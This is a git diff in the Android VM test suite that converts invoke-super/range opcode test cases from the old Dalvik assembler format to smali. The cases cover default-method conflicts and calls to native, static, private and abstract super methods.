diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..3d59d7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/T_invoke_super_range_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/T_invoke_super_range_26.smali
new file mode 100644
index 0000000..d0da30c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26.smalis/T_invoke_super_range_26.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_26;
+.super Ljava/lang/Object;
+.source "T_invoke_super_range_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;->testDefault()V
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d
deleted file mode 100644
index 752182c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestNonDefault.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.method public abstract testDefault()V
-.end method
-
-
-.source T_invoke_super_range_27.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_27
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super_range.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-super/range {v0}, dot/junit/opcodes/invoke_super_range/d/ITestNonDefault/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..944f811
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..3d59d7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..40f8f65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/T_invoke_super_range_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/T_invoke_super_range_27.smali
new file mode 100644
index 0000000..07b65ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27.smalis/T_invoke_super_range_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_27;
+.super Ljava/lang/Object;
+.source "T_invoke_super_range_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestNonDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d
deleted file mode 100644
index df29d4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestConflict.java
-.interface public dot.junit.opcodes.invoke_super_range.d.ITestConflict
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_super_range.d.ITestDefault2
-
-.source T_invoke_super_range_28.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_28
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super_range.d.ITestConflict
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-super/range {v0}, dot/junit/opcodes/invoke_super_range/d/ITestConflict/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestConflict.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestConflict.smali
new file mode 100644
index 0000000..b9f5fc1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestConflict.smali
@@ -0,0 +1,21 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestConflict;
+.super Ljava/lang/Object;
+.source "ITestConflict.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..944f811
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..3d59d7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/T_invoke_super_range_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/T_invoke_super_range_28.smali
new file mode 100644
index 0000000..725fdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/T_invoke_super_range_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28;
+.super Ljava/lang/Object;
+.source "T_invoke_super_range_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestConflict;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestConflict;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.d
deleted file mode 100644
index eb1a1f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_4.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_4
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4/toIntNative()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali
new file mode 100644
index 0000000..2394cae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_4.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4;->toIntNative()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.d
deleted file mode 100644
index bf38cab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_5.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_5
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper/toIntStatic()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali
new file mode 100644
index 0000000..995a333
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;->toIntStatic()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.d
deleted file mode 100644
index bb9161c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_6.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_6
-.super dot/junit/opcodes/invoke_super_range/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali
new file mode 100644
index 0000000..11b46c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6;
+.super  Ldot/junit/opcodes/invoke_super_range/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.d
deleted file mode 100644
index f170aac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_7.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_7
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali
new file mode 100644
index 0000000..34bca35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.d
deleted file mode 100644
index ed4d3ab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_8.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-     
-       invoke-super/range {v6..v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
